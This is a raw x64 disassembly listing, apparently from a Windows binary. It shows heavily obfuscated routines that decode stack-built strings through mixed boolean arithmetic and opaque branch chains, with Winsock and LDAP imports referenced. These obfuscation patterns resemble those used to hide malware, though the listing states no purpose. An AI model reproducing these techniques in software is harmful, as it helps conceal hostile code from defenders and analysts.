movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x31
movzx edi, r11b
add r10b, dl
movabs rdx, 0x9cce24c6c5fce564
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0x8c0], cl
inc r8
mov rax, r12
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x8c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140096ed2
movabs rcx, 0x445b0f3e690e22d1
add rcx, rsi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x49
movzx eax, byte [rbp + rsi + 0x8c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140096ed2
movabs rcx, 0x811a4e7986c80787
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x4f
jmp 0x140096ed0
movabs rcx, 0xfe32eefa9613f051
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x37
jmp 0x140096ec0
lea rsi, [rbp + 0x17fd4e4]
jmp 0x140097af3
lea rsi, [rbp + 0x99e07f]
jmp 0x140097af3
lea rsi, [rbp + 0x8c0]
lea rdx, [0x140229e00]
lea rcx, [rbp + 0x1e8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba60
mov r14, rax
mov byte [rbp + 0x8e8], 0x62
mov byte [rbp + 0x8e9], Ordinal_79
mov byte [rbp + 0x8ea], 0x51
mov byte [rbp + 0x8eb], 0x5f
mov byte [rbp + 0x8ec], Ordinal_79
mov byte [rbp + 0x8ed], 0x5b
mov byte [rbp + 0x8ee], Ordinal_79
mov byte [rbp + 0x8ef], 0x44
mov byte [rbp + 0x8f0], 0xae
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8f1], xmm0
mov qword [rbp + 0x901], rax
mov word [rbp + 0x909], ax
movabs r15, 0xa61a3ab3c7cc5ec9
movabs r13, 0xe7cd9e2ed85b057
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0xef875820f1221ce5
cmp rdi, 0x23
jae 0x1400987fa
movzx ebx, byte [rbp + rdi + 0x8e8]
mov r10, rbx
cmp r8, rdi
ja 0x1400987ee
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140097c03
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x43
jmp 0x140097c30
je 0x140098766
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400986cc
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009866d
lea rax, [r9 + 2]
cmp r8, rax
je 0x140098644
cmp r9, rdi
ja 0x1400987e2
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140097c64
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7f
add r11b, dl
jmp 0x140097cb0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400985f2
inc rax
cmp r8, rax
je 0x1400985c6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400985a3
lea rax, [r9 + 4]
cmp r8, rax
je 0x140098580
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009855d
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140098237
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009820f
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400981e3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400981b5
lea rax, [r9 + 4]
cmp r8, rax
je 0x140098192
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009816a
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140098131
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140097cc0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400987bf
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009879c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140097e73
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140097e4c
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140097e2e
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400980d5
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140098078
lea rcx, [r9 + 1]
cmp r8, rcx
jb 0x14009802b
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140097ffd
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140097cc0
mov r8, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x140097fc4
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x140097fa1
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x140097f79
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x140097f46
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x140097f1e
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x140097efa
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x140097ecc
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140097ea0
mov r8, rax
lea r9, [rax + 3]
jmp 0x140097cc0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x61
add r11b, dl
jmp 0x140097cb0
movabs rdx, 0x2f6e29a10b41768d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x25
add r11b, dl
jmp 0x140097c30
movabs rcx, 0x505f795f28fd3cc3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x55
movabs rcx, 0xef875820f1221ce5
jmp 0x140097bce
movabs rcx, 0x51c3255c5c1ebc7e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
inc r9
dec rdi
inc rdi
jmp 0x140097bb2
movabs rdx, 0x72b4751a79da82b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140097bb2
movabs rdx, 0x93a5c4d8979648ea
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
jmp 0x14009868c
movabs rdx, 0xb4971496b5520f20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400986b4
movabs rcx, 0xd5886454d30dd556
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140097bb2
movabs rdx, 0xf679b412f0c99b8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400986f2
movabs rcx, 0x176b03d10e8561c2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x140098722
movabs rdx, 0x385c538f2c4127f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x8e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140097bb2
movabs rcx, 0x8ab79aea7696977f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x79
mov byte [rbp + rdi + 0x8e8], r11b
inc rdi
jmp 0x140097bb2
movabs rdx, 0xaba8eaa894525db5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xd
add r11b, dl
cmp r9, 0x41
jb 0x14009801b
movabs rcx, 0x6fed1d201397833e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x64]
jmp 0x140098614
movabs rdx, 0xcc9a3a66b20e23eb
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6d
add r11b, dl
cmp r8, 0x7a
jae 0x140098501
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140098425
movabs rdx, 0xb95a3a8d3ced415a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x76
jmp 0x14009804a
movabs rcx, 0xed8b8a24cfc9ea21
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x19
lea rax, [r9 + r8]
cmp rax, 5
je 0x140098530
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140098356
movabs rcx, 0x133fffd97520e291
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 9
jmp 0x14009809a
movabs rdx, 0xe49d6036aeca38b6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x8e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140097bb2
movabs rdx, 0x68629f2f25b9518e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400986b4
movabs rcx, 0x8953eeed437517c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x14009868f
movabs rdx, 0xaa453eab6130ddfa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140097bb2
movabs rcx, 0xcb368e697eeca430
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x140097bb2
movabs rdx, 0xec27de279ca86a66
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140098614
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14009826b
movabs rdx, 0xef875820f1221ce5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x43
add r11b, dl
jmp 0x1400980f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400982b1
movabs rdx, 0x4c3475678f98bd92
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x8e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140097bb2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400982e7
movabs rcx, 0x868c96f2dd32184e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
dec rdi
inc rdi
jmp 0x140097bb2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140098325
movabs rdx, 0x659b4734bf765218
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140097bb2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400980f3
movabs rdx, 0x44a9f776a1ba8be2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
jmp 0x140098611
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140098386
movabs rcx, 0xf24eb01b57651c5b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7d
jmp 0x140098614
inc rax
cmp r8, rax
jne 0x1400983be
movabs rcx, 0xd15d605d39a95625
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 3
inc r9
dec rdi
inc rdi
jmp 0x140097bb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400983f4
movabs rcx, 0xb06c109f1bed8fef
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x77
dec rdi
inc rdi
jmp 0x140097bb2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009809a
movabs rdx, 0x2ca6d1a6a4fe7717
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x5f
jmp 0x1400986ef
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009846b
movabs rdx, 0x9868eacf1f317b24
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x8e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140097bb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009849b
movabs rcx, 0x56864b52e3b9eeb8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x1400986f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400984cb
movabs rcx, 0x14a3abd6a842624c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
jmp 0x1400986b4
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009804d
movabs rcx, 0xd2c10c5a6ccad5e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
dec rdi
inc rdi
jmp 0x140097bb2
movabs rdx, 0x4efbcd61f5dbbd08
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x8e8]
sub r11b, al
sub r11b, 0x38
add r11b, dl
add r11b, bl
jmp 0x14009868f
movabs rdx, 0x2e0a7da3d81ff6d2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x8e8]
add r11b, bl
jmp 0x1400986ef
movabs rcx, 0x9e8fbcc2d9ee2d19
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x51
jmp 0x140098722
movabs rcx, 0xbf810c80f7a9f34f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x29
jmp 0x1400986f2
movabs rcx, 0x163abfd33217fbb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1d
jmp 0x1400986b4
movabs rcx, 0x64379b378c54d25d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x75
inc r9
dec rdi
inc rdi
jmp 0x140097bb2
movabs rdx, 0x8528eaf5aa109893
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 5
add r11b, dl
movabs rcx, 0x5f74754104b9a023
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0xb
add bl, cl
mov byte [rbp + rdi + 0x8e8], bl
inc r9
dec rdi
inc rdi
jmp 0x140097bb2
movabs rcx, 0x8ee29ee20ffb16b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x13
dec rdi
inc rdi
jmp 0x140097bb2
movabs rdx, 0x29df79ac3ebb77a1
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x67
add r11b, dl
movabs rcx, 0x3e832582e6fdd9ed
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x7b
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x8e8], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140097bb2
mov rbx, r10
movabs rdx, 0x8cb368e697eeca43
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2b
add r11b, dl
movabs rdx, 0x1d91d5c4c94213b7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
dec cl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x8e8], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xd192de5ba64309c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x44
add cl, bl
mov byte [rbp + rdi + 0x8e8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x8e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140097bb2
movabs rcx, 0xce960862d36656af
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x37
movzx eax, byte [rbp + rdi + 0x8e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140097bb2
movabs rcx, 0x7150c91d46b902f9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x31
jmp 0x140097bae
movabs rcx, 0x924218db6474c92f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x49
jmp 0x140097b93
lea rcx, [rbp + 0x16b72c4]
jmp 0x140098801
lea rcx, [rbp + 0x10d8fa9]
jmp 0x140098801
lea rcx, [rbp + 0x8e8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], rsi
mov r9d, 0x2710
mov r8d, Ordinal_30
mov rdx, r14
call fcn.1400383c0
lea rdx, [0x140229fc0]
lea rcx, [rbp + 0x208]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba60
mov r14, rax
movsxd rcx, dword [rax]
lea rsi, [0x1401ba738]
mov r15, qword [rsi + rcx*8]
mov byte [rbp + 0x910], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x911], 0xe0
mov byte [rbp + 0x912], 0xe8
mov byte [rbp + 0x913], gethostname
mov byte [rbp + 0x914], recv
mov byte [rbp + 0x915], 0xe6
mov byte [rbp + 0x916], 0xec
mov byte [rbp + 0x917], 0xf0
mov byte [rbp + 0x918], 0x5e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x919], xmm0
mov qword [rbp + 0x929], rax
mov word [rbp + 0x931], ax
movabs rdx, 0x7978ce5c408d8171
movabs r13, 0xa95f9a928aac666f
movzx r11d, byte [rsp + 0x40]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x45048d74b1452973
cmp rdi, 0x23
jae 0x1400996f1
movzx ebx, byte [rbp + rdi + 0x910]
mov r10, rbx
cmp r8, rdi
ja 0x1400996e5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140098933
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x25
jmp 0x140098986
je 0x140099653
inc rax
cmp r8, rax
je 0x1400995f5
lea rax, [r9 + 3]
cmp r8, rax
je 0x140099599
lea rax, [r9 + 2]
cmp r8, rax
je 0x140099559
lea rax, [r9 + 7]
cmp r8, rax
je 0x140099526
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400994f0
lea rax, [r9 + 4]
cmp r8, rax
je 0x140099494
cmp r9, rdi
ja 0x1400996d9
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400989c3
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub dl, 9
add r11b, dl
movabs rdx, 0x7978ce5c408d8171
jmp 0x140098a03
lea rax, [r9 + 1]
cmp r8, rax
je 0x140099470
inc rax
cmp r8, rax
je 0x14009943d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400993f1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400993ce
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400993ab
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400990a9
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140099084
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009904e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009901b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140098ff6
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140098fd3
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140098f96
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140098f71
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140098f4c
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140098f29
lea rax, [r9 + 6]
cmp r8, rax
je 0x140098a10
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 5]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400996b6
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140099693
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140098c15
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140098be5
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140098bcb
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140098ec6
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140098e68
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140098e18
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140098de0
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140098a10
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140098db8
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140098d94
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140098d6f
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140098d2d
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140098d0a
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140098ce6
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140098cae
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140098c73
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140098c4f
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140098a10
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x200]
jmp 0x140098a10
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x17
jmp 0x140098a03
movabs rdx, 0xef6fb372de032e8b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add dl, 0x33
add r11b, dl
movabs rdx, 0x7978ce5c408d8171
jmp 0x140098986
movabs rdx, 0x656698897b78dba5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add dl, 0x7d
add r11b, dl
movabs rdx, 0x7978ce5c408d8171
movabs rcx, 0x45048d74b1452973
jmp 0x1400988fe
movabs rdx, 0x4afcd49455633378
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x1400994b3
movabs rdx, 0xc0f3b9aaf2d8e092
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rdx, 0x36ea9ec1904e8dac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rdx, 0xace183d82dc43ac6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6a
jmp 0x140099410
movabs rcx, 0x22d868eecb39e7e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x140099577
movabs rdx, 0x98cf4e0568af94fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rdx, 0xec6331c06254214
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400995bc
movabs rdx, 0x84bd1832a39aef2e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x42
jmp 0x140099619
movabs rdx, 0xfab3fd4941109c48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140099673
movabs rcx, 0xa19d3a01cab6cd09
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3f
mov byte [rbp + rdi + 0x910], r11b
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rdx, 0x17941f18682c7a23
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xb
add r11b, dl
cmp r9, 6
jb 0x140098dfe
movabs rdx, 0x7fd05c7ea18e83d2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x7c]
jmp 0x1400994b6
movabs rdx, 0x8d8b042f05a2273d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x55
add r11b, dl
cmp r8, 0x2a
jae 0x140099353
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400992a7
movabs rdx, 0x1b754f60c82746d6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140098e37
movabs rdx, 0x381e945a317d457
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x61
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x14009937f
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400991bd
movabs rdx, 0x7215b4ce3d7ae067
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x2f
jmp 0x140098e87
movabs rcx, 0xf83d9f6f400a669a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
jmp 0x140099673
movabs rdx, 0x6e348485dd8013b4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140099619
movabs rdx, 0xe42b699c7af5c0ce
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400995bc
movabs rcx, 0x5a224eb3186b6de8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x7978ce5c408d8171
jmp 0x1400988e2
movabs rcx, 0xd01933c9b5e11b02
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xe
jmp 0x140099577
movabs rdx, 0x461018e05356c81c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140099410
